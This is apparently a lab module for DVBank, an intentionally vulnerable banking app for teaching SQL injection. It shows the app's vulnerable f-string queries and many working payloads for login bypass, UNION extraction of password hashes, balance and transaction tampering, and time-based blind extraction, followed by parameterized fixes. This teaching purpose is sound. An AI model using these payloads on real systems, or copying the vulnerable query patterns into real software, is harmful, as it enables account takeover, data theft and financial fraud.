SQL Injection (SQLi) is a critical web security vulnerability that allows attackers to manipulate database queries by injecting malicious SQL code through application inputs. In banking applications, this vulnerability can be particularly devastating, potentially leading to unauthorized access, data theft, and financial fraud.
When an application builds SQL queries by concatenating strings with user input, it becomes vulnerable to SQL injection. Consider this simple example:
# Vulnerable query construction
username = "alice"
query = f"SELECT * FROM user WHERE username = '{username}'"
# Results in: SELECT * FROM user WHERE username = 'alice'
# What happens with malicious input?
username = "' OR '1'='1"
query = f"SELECT * FROM user WHERE username = '{username}'"
# Results in: SELECT * FROM user WHERE username = '' OR '1'='1'
The attacker's input changes the query's logic from "find user named alice" to "find any user because 1=1 is always true".
-
In-band SQLi (Classic)
- Union Based: Combines results of malicious query with original query
' UNION SELECT username, password FROM user--
- Error Based: Extracts data through database error messages
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)--
- Union Based: Combines results of malicious query with original query
-
Inferential SQLi (Blind)
- Boolean Based: Infers data by observing true/false responses
' AND (SELECT CASE WHEN (username = 'admin') THEN 1 ELSE 0 END) = 1--
- Time Based: Infers data by observing response delays
' AND (SELECT CASE WHEN (username = 'admin') THEN randomblob(100000000) ELSE randomblob(1) END)--
- Boolean Based: Infers data by observing true/false responses
-
Out-of-band SQLi
- Uses external channels to extract data
- Example: Making DNS requests with extracted data
' AND (SELECT load_extension( (SELECT hex(group_concat(password)) FROM user) ))--
-
Authentication Bypass
-- Basic bypass ' OR '1'='1 -- Comment-based bypass admin'-- -- Union-based bypass ' UNION SELECT 'admin', 'hash', 1--
-
Data Extraction
-- Extract table names ' UNION SELECT name, NULL FROM sqlite_master WHERE type='table'-- -- Extract column names ' UNION SELECT sql, NULL FROM sqlite_master WHERE name='user'-- -- Extract user data ' UNION SELECT username, password_hash FROM user--
-
Database Manipulation
-- Insert new records '; INSERT INTO user VALUES ('hacker','hash',999999)-- -- Update records '; UPDATE user SET balance=1000000 WHERE username='alice'-- -- Delete records '; DELETE FROM transactions WHERE user_id=1--
-
SQLite System Tables
-- List all tables ' UNION SELECT name, NULL FROM sqlite_master-- -- Get table schema ' UNION SELECT sql, NULL FROM sqlite_master--
-
SQLite Functions
-- String manipulation ' AND substr((SELECT password FROM user LIMIT 1),1,1)='a'-- -- Time-based attacks ' AND (SELECT CASE WHEN (1=1) THEN randomblob(100000000) ELSE randomblob(1) END)--
-
SQLite Type Exploitation
-- Type coercion ' AND typeof((SELECT balance FROM user LIMIT 1))='integer'-- -- CAST exploitation ' AND CAST((SELECT password FROM user) AS INTEGER)--
SQL Injection vulnerabilities in DVBank Lab exist in multiple critical endpoints, including user authentication, registration, and transaction processing. This module examines these vulnerabilities and their potential impact on banking operations.
Location: backend/routes/auth_routes.py
# Vulnerable: Direct string interpolation in login query
query = f"SELECT * FROM user WHERE username = '{username}'"
user = db.session.execute(query).fetchone()
# The application returns:
# - "Invalid credentials" if no user is found
# - Redirects to dashboard if user is found
🤔 Challenge Note: Traditional SQL injection techniques like
' OR '1'='1
orUNION
attacks won't work directly here. Why?
- The application checks the password hash after the query
- Simple authentication bypass is prevented by additional logic
- Direct data extraction through UNION is not possible due to the application's response behavior
Your Challenge:
- Study the application's behavior carefully
- Think about what information you can gather from login success/failure
- Consider how timing attacks might help
- Can you extract data without seeing it directly?
Attack Vectors:
-- Basic Authentication Bypass
username: ' OR '1'='1' --
password: anything
-- Union-Based Attack (Extract all users)
username: ' UNION SELECT * FROM user --
password: anything
-- Extract specific user
username: alice' AND '1'='1
password: anything
Real-World Impact:
- Attackers can extract entire database content
- Password hashes can be stolen
- Account balances can be discovered
- All without leaving obvious traces in logs
💡 Hints for the Challenge:
Think about boolean logic:
- What happens when your SQL condition is TRUE vs FALSE?
- How can you use this to confirm if a user exists?
Consider timing attacks:
- SQLite's
randomblob()
function can create deliberate delays- How can you use delays to extract information?
Data extraction strategy:
- Break down what you want to know into yes/no questions
- Use binary search to reduce the number of requests needed
- Think about how to extract data one character at a time
Advanced techniques:
- Can you combine boolean and timing attacks?
- How might you automate this process?
- What tools could help you measure response times accurately?
Location: backend/routes/auth_routes.py
# Vulnerable: String concatenation in registration
insert_query = f"INSERT INTO user (username, password_hash, balance) VALUES ('{username}', '{password_hash}', 0000.00)"
db.session.execute(insert_query)
Attack Vectors:
-- Create admin user with high balance
username: admin', 'hash', 1000000) --
password: anything
-- Modify other user's data
username: alice', 'newhash', 999999), ('bob
password: anything
Location: backend/routes/transaction_routes.py
# Vulnerable: Unparameterized transaction query
query = f"SELECT * FROM transactions WHERE user_id = {user_id}"
transactions = db.session.execute(query).fetchall()
Attack Vectors:
-- View all transactions
user_id: 1 OR 1=1
-- Union attack to see other users' transactions
user_id: 1 UNION SELECT * FROM transactions
-- Modify transaction amounts
user_id: 1; UPDATE transactions SET amount = 1000000 WHERE id = 1--
- Unauthorized account access
- Identity theft
- Account takeover
- Privilege escalation
- Creation of unauthorized accounts
- Balance manipulation
- Database corruption
- System compromise
- Unauthorized fund transfers
- Transaction history manipulation
- Financial fraud
- Audit trail tampering
Test each endpoint with these payloads:
-- Basic tests
' OR '1'='1
1 OR 1=1
' UNION SELECT NULL--
-- Error-based tests
' AND 1=convert(int,@@version)--
' AND 1=cast((SELECT @@version) as int)--
-- Time-based tests
'; WAITFOR DELAY '0:0:5'--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
Use tools like:
- SQLmap with identified endpoints
- OWASP ZAP SQL Injection scanner
- Burp Suite's scanner
# Safe login query
query = "SELECT * FROM user WHERE username = :username"
user = db.session.execute(query, {'username': username}).fetchone()
# Safe registration
query = "INSERT INTO user (username, password_hash, balance) VALUES (:username, :password_hash, :balance)"
db.session.execute(query, {
'username': username,
'password_hash': password_hash,
'balance': 0
})
# Safe transaction query
query = "SELECT * FROM transactions WHERE user_id = :user_id"
transactions = db.session.execute(query, {'user_id': user_id}).fetchall()
def validate_username(username):
if not isinstance(username, str):
return False
if not username.isalnum():
return False
if len(username) > 30:
return False
return True
def validate_transaction_id(id):
try:
id = int(id)
return id > 0
except ValueError:
return False
# Using SQLAlchemy ORM
user = User.query.filter_by(username=username).first()
transaction = Transaction.query.get(transaction_id)
-
Authentication Bypass
- Try logging in with a single quote (') to trigger SQL errors and expose database details
- Extract user credentials using time-based blind attacks (e.g. CASE WHEN with randomblob)
- Use sqlmap to automatically dump usernames and password hashes from the database
- Implement proper parameterization
-
Registration Exploitation
- Create users with manipulated balances
- Attempt to modify existing users
- Fix the registration endpoint
-
Transaction Analysis
- Extract all transactions using injection
- Extract all usernames and password hashes using UNION injection
- Implement secure transaction queries
- OWASP SQL Injection Prevention Cheat Sheet
- SQLite Injection Techniques
- SQLAlchemy Security Considerations
- OWASP SQL Injection Testing Guide
- CWE-89: SQL Injection
- PortSwigger SQL Injection Guide
- NIST Database Security Guide
- Python DB-API Specification
- SQLAlchemy ORM Tutorial
- MySQL Security Best Practices
- SQLMap - SQL injection testing tool
- NoSQLMap - NoSQL injection testing
- SQLiScanner - Automatic SQL injection detection
- jSQL Injection - Java-based SQL injection tool
- SQLZoo - SQL learning and practice
- PortSwigger Web Security Academy
- HackTheBox SQL Injection Challenges